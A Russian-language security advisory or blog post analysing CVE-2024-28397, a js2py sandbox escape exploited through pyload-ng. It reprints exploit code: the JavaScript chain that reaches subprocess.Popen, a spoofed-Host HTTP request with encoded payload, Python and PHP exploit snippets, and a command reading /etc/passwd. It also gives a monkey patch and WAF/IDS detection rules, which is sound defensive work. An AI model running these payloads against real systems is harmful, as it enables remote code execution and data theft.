Уязвимость BDU:2024-05266 (CVE-2024-28397) js2py
Уязвимость BDU:2024-05266 (CVE-2024-28397) представляет собой критическую проблему безопасности в библиотеке js2py, которая позволяет выполнять произвольный код на атакуемом хосте путем обхода механизмов песочницы. Эта уязвимость затрагивает версии js2py до v0.74 включительно и связана с неправильной обработкой глобальных переменных в компоненте js2py.disable_pyimport(), что позволяет злоумышленникам получить ссылку на объекты Python и выполнить произвольные команды.
Анализ уязвимости
Уровень опасности: 5.3 MEDIUM
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
-
AV:L (Вектор атаки): Локальный - Атака требует локального доступа к системе.
-
AC:L (Сложность атаки): Низкая - Для эксплуатации не требуются специальные условия.
-
PR:L (Уровень привилегий): Низкий - Атакующий должен иметь базовые привилегии.
-
UI:N (Вмешательство пользователя): Не требуется - Атака не требует взаимодействия с пользователем.
-
S:U (Влияние на scope): Не оказывает - Атака не затрагивает другие компоненты системы.
-
C:L (Влияние на конфиденциальность): Низкое - Может привести к утечке ограниченной информации.
-
I:L (Влияние на целостность): Низкое - Возможно частичное изменение данных.
-
A:L (Влияние на доступность): Низкое - Может вызвать незначительные перерывы в работе.
Условия эксплуатации
Для успешной эксплуатации уязвимости необходимо, чтобы атакуемая система использовала уязвимую версию js2py (≤0.74) и интерпретатор Python версии ниже 3.12. Кроме того, приложение должно обрабатывать пользовательский JavaScript-код с использованием js2py. В случае с pyload-ng атака требует доступа к endpoint /flash/addcrypted2, который по умолчанию ограничен локальным доступом, но это можно обойти с помощью поддельного заголовка Host.
Технический анализ уязвимости
Библиотека js2py предназначена для выполнения JavaScript-кода внутри Python-окружения. Она широко используется в таких проектах, как:
-
pyload-ng (менеджер загрузок)
-
cloudscraper (обход анти-бот защиты)
-
lightnovel-crawler (парсер веб-контента)
Уязвимость существует в реализации функции disable_pyimport(), которая должна предотвращать доступ JavaScript-кода к Python-объектам. Однако из-за неправильной обработки глобальных переменных атакующий может получить ссылку на объекты Python и вызвать опасные функции, такие как subprocess.Popen.
Механизм обхода песочницы
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. Основная идея заключается в доступе к внутренним объектам Python через цепочку прототипов JavaScript:
let hacked = Object.getOwnPropertyNames({});
let bymarve = hacked.__getattribute__;
let n11 = bymarve("__getattribute__");
let obj = n11("__class__").__base__;
let getattr = obj.__getattribute__;
Этот код позволяет получить доступ к базовым классам Python и найти класс subprocess.Popen, который затем используется для выполнения произвольных команд:
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result;
}
}
}
let proc = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true);
let out = proc.communicate()[0].decode("utf-8");
Пример вредоносного HTTP-запроса
В случае с pyload-ng атакующий отправляет POST-запрос на endpoint /flash/addcrypted2 с поддельным заголовком Host и полезной нагрузкой в параметре jk:
POST /flash/addcrypted2 HTTP/1.1 Host: 127.0.0.1:9666 Content-Type: application/x-www-form-urlencoded Content-Length: 1234 crypted=MTIzNA%3D%3D&jk=let%20cmd%20%3D%20%22whoami%22%3B%20let%20hacked%20%3D%20Object.getOwnPropertyNames%28%7B%7D%29%3B%20...
Анализ эксплоитов
Эксплоит 1
Первый эксплоит использует локальный вызов js2py для проверки уязвимости. Он выполняет команду head -n 1 /etc/passwd и проверяет наличие вывода в результате:
import js2py payload = """ let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"; // ... JavaScript код для выполнения команды """ result = js2py.eval_js(payload)
Этот подход демонстрирует, что уязвимость может эксплуатироваться даже без сетевого доступа, если приложение обрабатывает вредоносный JavaScript-код.
Эксплоит 2
Второй эксплоит использует комбинацию CVE-2024-28397 и CVE-2024-39205 для удаленного выполнения кода на системах с pyload-ng. Атакующий обходит ограничение локального доступа с помощью поддельного заголовка Host и выполняет произвольные команды:
request = b"""POST /flash/addcrypted2 HTTP/1.1 Host: 127.0.0.1:9666 Content-Type: application/x-www-form-urlencoded Content-Length: 1234 crypted=MTIzNA%3D%3D&jk=let%20cmd%20%3D%20%22whoami%22%3B%20... """ s = socket.socket() s.connect((target, port)) s.send(request)
Эксплоит 3
Третий эксплоит реализован на PHP и предназначен для тестирования на проникновение. Он отправляет вредоносные запросы к уязвимому endpoint и может использовать reverse shell для получения доступа к системе:
$client = new GuzzleHttp\Client();
$response = $client->post("http://{$target}:{$port}/flash/addcrypted2", [
'headers' => ['Host' => "127.0.0.1:{$port}"],
'form_params' => [
'crypted' => $cryptedB64,
'jk' => $javascriptPayload
]
]);
Потенциальный вред от успешной атаки
Злоумышленник, успешно воспользовавшийся уязвимостью, может:
-
Выполнять произвольные команды на системе, включая чтение, изменение и удаление файлов.
-
Получить полный контроль над атакуемой системой, если процесс работает с привилегиями администратора.
-
Красть конфиденциальные данные, такие как credentials, ключи шифрования и персональные данные.
-
Использовать систему как плацдарм для атак на внутреннюю сеть.
-
Нарушать работу сервисов путем остановки критических процессов или изменения конфигураций.
Методы защиты
1. Обновление и патчинг
-
Официальный патч: На текущий момент официального патча не существует. Можно попробовать использовать временные решения, предложенные сообществом, такие как манки-патчинг:
def monkey_patch():
from js2py.constructors.jsobject import Object
fn = Object.own["getOwnPropertyNames"]["value"].code
def wraps(*args, **kwargs):
result = fn(*args, **kwargs)
return list(result)
Object.own["getOwnPropertyNames"]["value"].code = wraps
2. Сетевые меры защиты
-
Сегментация сети: Изолируйте системы, использующие уязвимые библиотеки, в отдельные сетевые сегменты со строгим контролем доступа.
-
Firewall правила: Блокируйте несанкционированный доступ к портам уязвимых приложений (например, 9666 для pyload-ng).
3. Web Application Firewall (WAF)
Для блокировки вредоносных запросов можно использовать следующие правила:
Правила для ModSecurity:
SecRule REQUEST_URI "@beginsWith /flash/addcrypted2" \
"id:1001,phase:2,deny,msg:'CVE-2024-28397 Exploit Attempt',\
chain"
SecRule REQUEST_HEADERS:Host "@rx ^127\.0\.0\.1:|localhost:" \
"chain"
SecRule ARGS:jk "@rx __getattribute__|__subclasses__|subprocess\.Popen" \
"setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}'"
Правила для Suricata:
alert http any any -> any any (msg:"CVE-2024-28397 - js2py Sandbox Escape Attempt"; flow:established,to_server; http.uri; content:"/flash/addcrypted2"; http.host; content:"127.0.0.1"; http.request_body; content:"jk"; pcre:"/__getattribute__|__subclasses__|subprocess\.Popen/i"; classtype:web-application-attack; sid:202428397; rev:1;)
Это правило можно найти в моём наборе правил - https://alekseycheremnykh.ru/post/moj-nabor-pravil-k-suricata/
Размещение WAF/IPS: Эти системы должны быть расположены на границе сети или перед уязвимыми серверами для анализа входящего трафика.
4. Дополнительные рекомендации
-
Принцип наименьших привилегий: Запускайте приложения с минимально необходимыми привилегиями чтобы ограничить последствия атаки.
-
Мониторинг и логирование: Регулярно анализируйте логи на предмет подозрительной активности, такой как необычные запросы к API.
-
Статический анализ кода: Проверяйте приложения на использование уязвимых библиотек и заменяйте их на более безопасные аналоги.